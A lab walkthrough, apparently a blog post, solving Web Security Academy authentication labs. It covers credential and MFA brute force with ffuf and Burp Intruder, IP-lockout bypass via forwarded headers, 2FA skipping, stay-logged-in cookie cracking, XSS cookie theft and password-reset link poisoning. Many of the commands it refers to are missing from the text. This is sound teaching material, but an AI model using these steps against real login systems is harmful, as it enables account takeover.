In the above command, I use ffuf with the following parameters
-w: To specify the wordlist of usernames
-u: To specify the target URL
-X: To specify the request method in that case its POST
-d: To specify the request data i.e username and password
-H: To specify the Header
-fs: To filter the result with the request size
The above command is using a tool called "ffuf" to perform a brute force attack on a login page at https://0a75008d033bc680c07a3663004c0069.web-security-academy.net/login. The attack is focused on enumerating valid usernames for the login page, using a list of usernames provided in a file named "user.txt". The "-w" flag is used to specify the wordlist file, while the "FUZZ" keyword is used to indicate where the values from the wordlist should be substituted in the request.
The attack is performed using the HTTP POST method, and the "-d" flag is used to specify the data to be submitted with the request. In this case, the data includes the "username" parameter, which is being brute-forced using the "FUZZ" keyword, and a static "password" parameter with the value "anything". The "-H" flag is used to specify the "Content-Type" header of the request in that case it's "application/x-www-form-urlencoded".
The "-fs" flag is used to filter responses based on their size. In this case, only responses with a size of 2884 bytes will be considered valid.
We use the ffuf tool to perform this attack but we can use any other tools like Burp Suite, Wfuzz, Gobuster, etc. For using ffuf we should be careful to supply valid filter and request to this attack to get success. In the above case, we use the filter by size with the value 2884 but initially, we don't know which value we have to use to filter so in that case first we have to make a request without the -fs parameter that will show us so many responses with the following things
In the above results, we have to see which things are getting different like Size: 2884, Words: 1097 etc we cannot use Status: 200 because all the requests get Status: 200 and if we filter that out then we cannot get any results. So we have to carefully choose the filter that we think should give us the correct results. Another thing we should be careful of is to specify the Content-Type Header in the POST request and its values according to the initial request in the browser. If we cannot specify that header then our request is invalid because the server doesn't understand our request type so they cannot parse our data, so we have to specify the Content-Type Header with its values either thats application/json or in that case, it's application/x-www-form-urlencoded. By carefully understanding what type of request we have to make we can successfully perform this attack.
So now you can understand what we did above and see the output you can see we get a valid username and that app1. Now we can brute-force its password by using this ffuf command.
Most of the things are the same the only thing we change there is the username with app1 and password with the FUZZ keyword to brute force and filter by response code 200 because most of the login forms if we get a successful login they will redirect us to other page and its code is in between 300-399 so we filter the status code 200 so we only get the result that status code doesn't equal to 200. Using this technique and carefully using the tool we can exploit authentication issues.
This lab contains a login form and an email client for wiener users. When we log in using wiener user they sent the POST request to the /login endpoint and the request looks like this.
They redirect us to the /login2 endpoint and set a session cookie. The /login2 endpoint generates an MFA code and is sent to our email client. when we use that code and sent the request our request looks like this.
They check the MFA code and if that's correct they will redirect us to the /my-account endpoint with the same cookie that we get when we log in to the /login endpoint. If the code doesn't match they say MFA-code is incorrect error.
As they are using the same cookie we can try to log in and instead of following the /login2 endpoint we can just go to the /my-account endpoint and this will bypass 2FA. Using this for carlos user we can access its account without MFA.
The site has a forgot password functionality in which we can give our username and they sent the password reset link in his email. The password reset link looks like the following
There we can see username=wiener has been given in the request if we can change it with some other username i.e carlos we can change its password and login into his account.
Lab #4: Username enumeration via subtly different responses
So we have to make a post request with a Content-Type: application/x-www-form-urlencoded Header. So to do that we are using again ffuf tool to brute force the username but any other tools can also be used i.e Burp Suite, Gobuster, Wfuzz, hydra, etc.
There we filter results by words -fw with 1109, and 1118 and didn't use the filter by size -fs because when I use the filter by size different numbers of request sizes are returned from the server and I cannot able to filter to get one output so when I use the filter by words I only get one entry as you can see above and when I put the name on the login forms they give me an error message but they are not same as previous one they missed the . in it.
Invalid username or password
So that's why they get different numbers of words. Now we know the username we can brute-force this user password using this ffuf command.
We cannot get any different response to guess a valid username but if we pass a long string in the password we will see a certain period of time delay if the username is correct.
As you can see username is correct but the password is not and long string the server responded after some time and the time goes higher and higher based on how long your password string is. After three incorrect attempts, the server throws an error message.
You have made too many incorrect login attempts. Please try again in 30 minutes (s).
So it looks like they block our IP Address and we can only send another login request after 30 mins.
There are some headers that can be used to bypass IP-based protection systems some of them are the following.
X-Forwarded-Host
X-Forwarded-For
X-Real-IP
Client-IP
Forwarded-For
Forwarded
Via
These are some headers that are used in bypassing IP-based protection systems. By manually or automatically adding that header one by one we got the server accepts the X-Forwarded-For Header and also they bypassed the IP-based Protection. So by adding that header we can brute force the username. Now our request looks like the following
The header value doesn't be your real IP it just looks like an IP and we can brute-force the username with this. Sent the request to burp intruder because it is easy in that case but other tools can also be used but we should know how to detect the time delay in it.
In the intruder use the Pitchfork Attack in Attack type option. and add two positions one for the last octet of IP and one for the username our request should look like this.
Notice two §signs in the username field and IP last octet now go to the payload section and for Payload Set 1 select the Payload Type to Number and set the number range like this
From: 1
To: 255
Step: 1
and set the Max fraction digit to 0 and leave everything else as it is and select Payload Set to 2 and select Payload Type to Simple List. Click the Load button and select the username list given on lab and click OK. The Payload Type 1 is for the IP Address field in our intruder and the Payload Type 2 field is for the username knowing all that just click the Start Attack button and wait to finish the attack. After the attack finishes Click on the Columns top drop-down menu and tick mark the Response Completed and Response received. This will add that column and we can see which requests get much time delay then we can just click on the field and they will arrange the order according to that and using that we can see which requests get a higher time delay so we can get the valid username.
Now we can brute force that user password and our request look like this now
There we can again set the Payload Type Number for payload position 1 and Payload Type simple list for Payload Position 2 and load the password list from the lab and start the attack. This time we can filter result from the status code because successful login has a 302 status code and following that we can brute force the username and password.
This lab has a login functionality in which we can use a username and password. If the username is not exited they are shown an error message
Invalid username
This is vulnerable to username brute force and if the username is correct and the password is not then the shown an error message
Incorrect Password
After some incorrect attempts, they will show an error message
You have made too many incorrect login attempts. Please try again in 1 minute(s).
So they block our IP Address and we can send another request after 1 min. There is no other bypass using Headers like X-Forwarded-For but if we log in using a valid account before the IP ban we can reset the count. So using that we can brute force username in two ways. One way is to make a list of usernames in which after two invalid usernames we have our valid usernames like the following.
admin
notadmin
wiener
carlos
montoya
wiener
So two wrong usernames with one correct username. And the other method is by using Burp Macros and we are using this method because they are much more convenient. So first go to the Project options section of the burp suite and there select the Session sub-section.
There on the Session Handling Rule follow the following Method.
Click on the Add button to add a rule.
In the Rule Description Section give the name for your rule [Optional]
In the Rule Actions Section click the Add button and there click Run a macro.
A new window pops up and there click on the Add button to add a macro
They will open a Macro Recorder and show all the requests that a populated from your proxy.
There select a Login Post request in which you successfully log in using wiener:peter credentials
After that leave all the settings as it is in Macro Editor and Click the OK button until you come back to Session handling rule editor.
There click on the Scope Section.
There click on the un-tick button for all the Tool Scope except for Intruder.
Check Include all URLs in URL Scope.
Then click OK
By following all the above steps carefully and correctly we successfully configure our macro now send the Login request to Intruder and change the username to carlos and add the payload position in the password parameter. The intruder request should look like the following.
Now go to the Payload section and load a password list that is given on the lab page. After that go to Resource Pool and create a New Resource Pool give him a name (optional) check Maximum concurrent requests to 1 and start the attack.
Now Intruder will start doing a password brute force and our macro will send successful login in the background. After Completion, you should see a successful login with status code 302 use that password to log in and solve the lab.
send this request to burp intruder and add Payload Position to the username and the password after some random value. The request should look like the following
In Attack type select Cluster bomb and go to the Payloads section. For Payload Set 1 use payload type to simple list and load the username list. For Payload Set 2 select Payload type to Null payload and generate 5 payloads and start the attack.
This will send 5 requests for one username and if they are correct we should see any other response than Invalid username and password. To filter that we can go to the Options section of the intruder and there on the Grep - Extract section click on Add button when the pop showed there click on fetch Response and scroll down and highlight the error message Incorrect username and password. and click OK.
Now start the attack and you should see one error message is different send that username again to the intruder and now select the password parameter and use a simple list with your password list. Again use grep extract to extract the error message and run the attack. Every request has an error message but one request that has a correct password doesn't has any error message. Wait for 1 min for the account lock and then log in using that password and solve the lab.
This lab has a login functionality in which we can use a username and password. If any of these would be incorrect an error message is shown.
Incorrect username or password.
when the username and password are correct they redirect us to the /login2 endpoint and set the cookie verify=[username] and session cookie session=[session value here]. The exact request and response look like the following.
The /login2 endpoint generates the mfa-code for the username specified in the cookie and sent that code to its email account. We can send that mfa-code with the POST request like the following.
If the code is not correct they show an error message.
Incorrect MFA code.
The site doesn't enforce any MFA brute force protection and the MFA code is only 4 digit code so we can easily brute force any user's code and access its account using the following method.
Sent the GET request to the /login2 endpoint with the cookie set to the victim username.
GET /login2 HTTP/2
Host: 0a3d00cc03f7404ac10e3a54004a00d4.web-security-academy.net
Cookie: verify=carlos; session=S1SDZaLeZsSKXJ3M7bVnq3Hfv1Yg9id2
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
This will generate an MFA code for that user.
Now we can brute force that user mfa-code by sending the POST request to the intruder with the victim username.
And the payload position to mfa-code.
Use a simple list as an attack type
Load the list of 4-digit codes i.e SecLists/Fuzzing/4-digits-0000-9999.txt
Start the attack.
The successful code should redirect us to /my-account and the redirection request status code is 302 so we can add a filter to only show the 3xx code.
When you see the successful request right click on it and click show response in the browser option and copy the link and paste it into your browser and solve the lab.
HTTP/2 302 Found
Location: /my-account
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=lMgA4OTe3U4YivMcjJ14c6N9HJUlB61i; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
The difference between simple login and stay login is only one cookie stay-logged-in that also has an expiration time so our session should not last too long.
The stay-logged-in cookie is base64 encoded and after decoding, they look like the following.
wiener:51dc30ddc473d43a6011e9ebba6ca770
The first thing is our username and the second thing looks like a hash. Using hash identifier tools it is indeed a hash and md5 hash to be exact.
By checking the wiener password md5 hash from the burp decoder it was found it is indeed its password hash.
So we can send a /my-account request in the repeater that has stayed logged in the cookie
Send this request to the burp intruder and add the position to stay logged in the cookie. Now go to the Payloads section and use Simple List as the payload type and load the password list from the lab.
Click on the Add button from the Payload Processing section and follow the following things
First, select the Hash rule with MD5 as a hash
Again click on the Add button and now select Add prefix Rule with carlos: as a prefix.
Again click on the Add button for the last time and select Encode as a Rule and Base64-encode as an Encoding type.
Now start the attack all the incorrect requests should have a 3xx status code response but the successful request has a 2xx status code. using this you can brute force the carlos user to stay login cookie and access its account and solve the lab.
HTTP/2 302 Found
Location: /my-account
Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=Iyhb1puWmA2h6KwmsMUW2R57fcZ2gLkk; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length:
From the response, we can see a stay-logged-in session are base64 encoded string after decoding they look like the following.
wiener:51dc30ddc473d43a6011e9ebba6ca770
The first thing is the username that we try to log in and the other thing is its password md5 hash. There is also a comment functionality in site posts that are vulnerable to Cross Site Scripting - XSS attacks.
The lab also has an exploit server in which we see the access log. Go to any post from the site and comment on the following thing.
use any username and email address and post the comment. Now go back to your exploit server and click on the access log button to see the access log there you should see a request that has the victim user cookie copy its base64 encoded string and decode it. Copy the hash and crack it using tools like john and hashcat or you can also crack it using online sites i.e crackstation.net. crack the hash and log in using that crack password and delete the account to solve the lab.
Given Credentials: wiener:peter Victim Usernmae: carlos
This Lab contains a Login functionality in which we can login using a username and password combination. If any of these is incorrect they throw an error invalid username or password. The lab also has a reset password functionality in which we can reset our password using username or email and they send a password reset link to an email client. The lab also has an exploit server in which we can access email for wiener users and view access logs. The password reset functionality request looks like the following.
Sometimes a vulnerable server is generating this link by viewing the host from headers like Origin, Refferer, Host. This is not the case here but there are some other headers that are used to specify a host i.e X-Forwarded-Host. By sending a request using X-Forwarded-Host.
So this will change the host address in the link and if we click on it they send the GET request with a password reset token to our exploit server and we can get the token using the access log of the exploit server. So by poisoning the link using this method if the victim clicks on the link and we get his token and reset its password.
Given Credential: wiener:peter Victim's Username: carlos
This lab has a login functionality using username and password and if any of these are incorrect they throw an error incorrect username or password. if we made too many incorrect logins they block our IP and we cannot make any new login request for 1 min.
The lab also has password change functionality after successful login in which we can change our current password by giving the previous password, new password, and confirming the password. Their requests are like the following.
As you can see we pass our username with current-password, new-password-1, and new-password-2. If we change the username with carlos they redirect us back to /login but if we give username wiener and current-password to our correct password but didn't match the new-password-1 and new-password-2 they throw an error New password doesn't match!. But if we match the new password but the current password is incorrect after some try they will lock our account for some time.
We can brute force another user's password by sending this request to the intruder and changing the username to carlos and placing the payload position into the current password for the new-password-1 and new-password-2 we add two different strings. Use simple List as an attack type Load your password list in the Payloads section and start the attack using this we can successfully brute-force the password because one request result would have the string New password doesn't match! and that is the password for carlos user. The Intruder request looks like the following.
filter your request with request sizes and you will see one request that has a different request size. Note that password and log in using that password and solve the lab.
LAB #13: Broken brute-force protection, multiple credentials per request
This lab has a login functionality using username and password and if any of these are incorrect they throw an error incorrect username or password. if we made too many incorrect logins they block our ip and we cannot make any new login request for 1 min.
In the above JSON data, you can see we specify two passwords. And in some vulnerable servers, they iterate through that values and if any of these are correct they give us a login.
We can try login into the wiener user with this JSON data and see if it's vulnerable or not.
So this is indeed give us a login so we can bypass sending multiple incorrect requests i.e brute-force protection and get access to carlos user account. we just have to send multiple passwords in a single request and if any of these are correct we can get access to its account. So using the LAB wordlist our request for carlos user is like this.
Right-click on the request and click show response in the browser, copy the url and paste it on the browser url bar and solve the lab. Using this method we get access but we don't know the password yet we know passwords are one of them so just remove one password from the request one by one until you get the response of failed login and note the last password you removed and that's the correct password.
This Lab contains a Login functionality in which we can login using a username and password combination. If any of these is incorrect they throw an error invalid username or password. If we successfully login they redirect us to /login2 and there they generate the MFA code and send it to use email or another authenticator application. We have to send that 4-digit MFA code to the server and the server checks it and gives us access if correct or throws an error if it is incorrect. If we give two incorrect codes they logout of us and we have to log in again.
The login request and response are like the following.
They didn't block our ip with so many incorrect requests so we can brute force the MFA code but we are logout after two incorrect requests so we can use the burp suite session handling rules to re-login after every request.
In Burp, go to Project options > Sessions. In the Session Handling Rules panel, click Add. Got to the scope Section and check only the intruder for tool scope and check only Include all URL for URL scope. Go back to the Details tab and under Rule Actions, click Add > Run a macro. Under Select macro click Add to open the Macro Recorder. Select the following 3 requests:
GET /login
POST /login
GET /login2
Then click OK. The Macro Editor dialog opens. Click Test macro and check that the final response contains the page asking you to provide the 4-digit security code. This confirms that the macro is working correctly. Keep clicking OK to close the various dialogs until you get back to the main Burp window. The macro will now automatically log you back in as Carlos before each request is sent by Burp Intruder. Now Send the POST /login2 request to Burp Intruder. In Burp Intruder, add a payload position to the mfa-code parameter. On the Payloads tab, select the Numbers payload type. Enter the range 0 - 9999 and set the step to 1. Set the min/max integer digits to 4 and the max fraction digits to 0. This will create a payload for every possible 4-digit integer. Go to the Resource pool tab and add the attack to a resource pool with the Maximum concurrent requests set to 1.
Now starts the attack one request should give you the status 302 right click on it and click on show response in browser copy the url and paste it on the browser and solve the lab.
